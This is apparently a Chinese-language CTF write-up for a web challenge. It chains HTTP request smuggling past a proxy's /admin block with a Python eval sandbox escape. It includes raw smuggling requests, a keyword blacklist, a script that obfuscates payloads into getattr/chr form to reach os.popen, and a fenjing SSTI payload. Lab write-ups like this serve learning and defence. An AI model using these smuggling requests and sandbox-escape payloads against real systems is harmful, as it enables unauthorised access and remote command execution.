Escape, escape!

感觉功能有点多,大体浏览一遍

历史环境仍保留仅供内网排障的调试组件
如需模板表达式预览或历史内容回放,请遵循内部流程,不建议直接暴露在公共入口后方。 

这句话有点意思

可能需要用历史环境找flag

有个消息回显功能

/echo?msg=ops-check

回显

echo: ops-check

尝试SSTI和rce无果,但是发现#后的内容会被注释掉?

抓包看一眼,没什么特别的

就是响应头中有一个

Server: Northstar-Gateway

ai说因为存在反向代理

可以尝试http走私

之前浅浅学过http走私但没有认真总结过

推荐大佬文章https://www.freebuf.com/articles/web/375462.html

简单概括就是

代理和后端是两个不同的程序,它们解析 HTTP 的方式可能不同:

代理认为: Content-Length 有效 → 按长度截取
后端认为: Transfer-Encoding 有效 → 按 chunked 解析

同一个请求在两端眼中结构不同 → 你可以构造请求让代理放行,但后端实际执行的是另一个意思 → 绕过代理的过滤规则

Content-Length(固定长度)

发送正文之前,就已经知道正文有多长,直接写在头部

  • HTTP 响应(原始格式):
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5

hello
  • 逐字节解析:

部分

内容

说明

头部

HTTP/1.1 200 OK\r\n...Content-Length: 5\r\n\r\n

告诉浏览器:正文有 5 个字节

正文

h e l l o

恰好 5 个字节,读取完毕,连接可以关闭或复用

  • 浏览器行为:读到第 5 个字节 o 后,立即停止读取正文,不会多等。

Transfer-Encoding: chunked(分块传输)

不知道(或不提前计算)正文总长度,每发一块数据,先发这一块的大小(十六进制),再发数据本身,最后发一个 0 长度的块表示结束。

  • HTTP 响应(原始格式):
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

5
hello
0
  • 逐行解析(注意 \r\n 是关键):

行

内容(含不可见字符)

含义

1

5 + \r\n

第一个块的长度是 5 字节(十六进制,实际就是 5)

2

hello + \r\n

真正的数据 5 字节

3

0 + \r\n

块长度为 0 → 传输结束

4

(紧跟着的 \r\n 是协议要求)

最后两个 \r\n(一个来自 0\r\n,另一个来自空行)

  • 浏览器行为:
  1. 读取块大小 5;
  2. 读取 5 字节数据 hello;
  3. 读取下一个块大小 0;
  4. 知道结束,停止读取。

回到本题,我们首先探测下是否存在走私

HTTP/1.1 200 OK
Content-Length: 6
Transfer-Encoding: chunked

0

G

实际是0\r\n\r\nG总共六个字符

CL会收到

0

G

TE收到0直接结束

扫目录发现/admin回显

forbidden by proxy

尝试走私访问

POST / HTTP/1.1
Host: a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090
Sec-GPC: 1
Priority: u=0, i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Encoding: gzip, deflate
Referer: http://a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length:

0

GET /admin HTTP/1.1
Host: a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090
Sec-GPC: 1
Priority: u=0, i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Encoding: gzip, deflate
Referer: http://a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

CL空出来自动填充

回显

no such admin route

再在/admin下扫一遍目录

注意低并发,不然....

扫出来render

error: SyntaxError: invalid syntax (<string>, line 0)

fuzz参数发现/admin/render?expr=7*7居然回显49???

(ai太强了)

开始ssti

/admin/render?expr=().__class__

回显

blocked: __

尝试绕过

已知被ban:

__        open      globals   os
sys       import    eval      exec
read      subclasses  builtins

先验证().__class__可行

尝试使用getattr搭配chr绕过waf:(%2b是+)

?expr=getattr((),chr(95)%2bchr(95)%2b'class'%2bchr(95)%2bchr(95))

<class 'tuple'>

再接().__class__.__base__.__subclasses__()

找有__globals__的子类,方法是取每个类的 __init__ 方法,再取该方法的 __globals__

[
    g
    for c in subclasses()
    for g in [getattr(getattr(c, '__init__', None), '__globals__', None)]
    if g
]

之后再拼接__builtins__['__import__']('os')

拿到os之后再拼接os.popen('RCE').read()即可完成完整payload

这里贴一个帮助生成payload的脚本

#!/usr/bin/env python3
"""
输入 Python 表达式, 自动转为 getattr + chr() 格式, 绕过黑名单。
用法:
  python auto_payload.py "().__class__.__base__.__subclasses__()"
  python auto_payload.py "().__class__.__base__.__subclasses__()[0].__globals__"
  python auto_payload.py "().__class__.__base__.__subclasses__()[0]"
"""

import ast
import sys
import re
from urllib.parse import quote

def chrify(s):
    return "+".join(f"chr({ord(c)})" for c in s)


def convert(node):
    t = type(node)

    if t is ast.Expression:
        return convert(node.body)

    if t is ast.Tuple:
        items = ", ".join(convert(i) for i in node.elts)
        return f"({items})" if len(node.elts) != 1 else f"({items},)"

    if t is ast.Constant:
        if isinstance(node.value, str):
            return chrify(node.value)
        return repr(node.value)

    if t is ast.Name:
        return node.id

    if t is ast.Attribute:
        # x.y -> getattr(x, chrify("y"))
        obj = convert(node.value)
        return f"getattr({obj},{chrify(node.attr)})"

    if t is ast.Call:
        func = convert(node.func)
        args = ", ".join(convert(a) for a in node.args)
        kwargs = ", ".join(f"{kw.arg}={convert(kw.value)}" for kw in node.keywords)
        all_args = args
        if kwargs:
            all_args = all_args + ", " + kwargs if all_args else kwargs
        return f"{func}({all_args})"

    if t is ast.Subscript:
        value = convert(node.value)
        slice_ = convert(node.slice)
        return f"{value}[{slice_}]"

    if t is ast.List:
        items = ", ".join(convert(i) for i in node.elts)
        return f"[{items}]"

    if t is ast.ListComp:
        elt = convert(node.elt)
        generators = " ".join(
            f"{'' if g.is_async else ''}for {convert_comp_target(g.target)} in {convert(g.iter)}"
            + "".join(f" if {convert(if_clause)}" for if_clause in g.ifs)
            for g in node.generators
        )
        return f"[{elt} {generators}]"

    if t is ast.comprehension:
        pass  # handled in ListComp

    if t is ast.NameConstant:
        return repr(node.value)

    # fallback
    raise ValueError(f"Unsupported AST node: {t.__name__} {ast.dump(node)}")


def convert_comp_target(node):
    if isinstance(node, ast.Name):
        return node.id
    if isinstance(node, ast.Tuple):
        return "(" + ", ".join(convert_comp_target(e) for e in node.elts) + ")"
    return ast.dump(node)


def main():
    if len(sys.argv) < 2:
        expr = input("expr> ")
    else:
        expr = sys.argv[1]

    tree = ast.parse(expr.strip(), mode="eval")
    result = convert(tree.body)
    print()
    print("=== 转换结果 ===")
    print(quote(result))
    print()
    print("=== 长度: ===", len(result))


if __name__ == "__main__":
    main()

本题用法:

python auto_payload.py "[g for c in ().__class__.__base__.__subclasses__() for g in [getattr(getattr(c, '__init__', None), '__globals__', None)] if g][0]['__builtins__']['__import__']('os').popen('RCE').read()"

拿着生成的payload去

/admin/render?expr=PAYLOAD

即可

有个假flag在系统环境变量里,真的flag在app.py中(或者flask的配置中,参考b站官方解析视频)

flag{proxy_smuggling_and_sandbox_escape}

其实最后才发现

getattr((),'_'+'_'+'class'+'_'+'_')

不用chr也可以,无所谓了,改一下脚本的事

本来想直接接fenjing一把梭的

但尝试均失败

我先抓包尝试使用crack-request功能

python -m fenjing crack-request -f http.txt --host 'fa81ba8e-27c1-4df6-8e54-7bbe3c7b727a.www.polarctf.com' --port 8090

由于fenjing默认payload有符号包裹,我还让gpt给我修改了下

但是failed,嗦不出来

我又想将fuzz出来waf关键词通过--waf-keyword传参,但是不知道为什么--waf-keyword "__"生成的payload还带有__

或者就当作python库使用吧

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = [
        "__"     ,   "open"    ,  "globals" ,  "os",
"sys"    ,   "import"    ,"eval"    , " exec",
"read"    ,  "subclasses"  ,"builtins",
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "ls")
    # config_payload = config_payload(waf)

    print(f"{shell_payload=}")
    # print(f"{config_payload=}")
    
#{{(cycler.next['_'+'_'+'g''lobals'+'_'+'_']['o''s']['po''pen']('ls'))['r''ead']()}}

会回显cycler is not defined,没办法...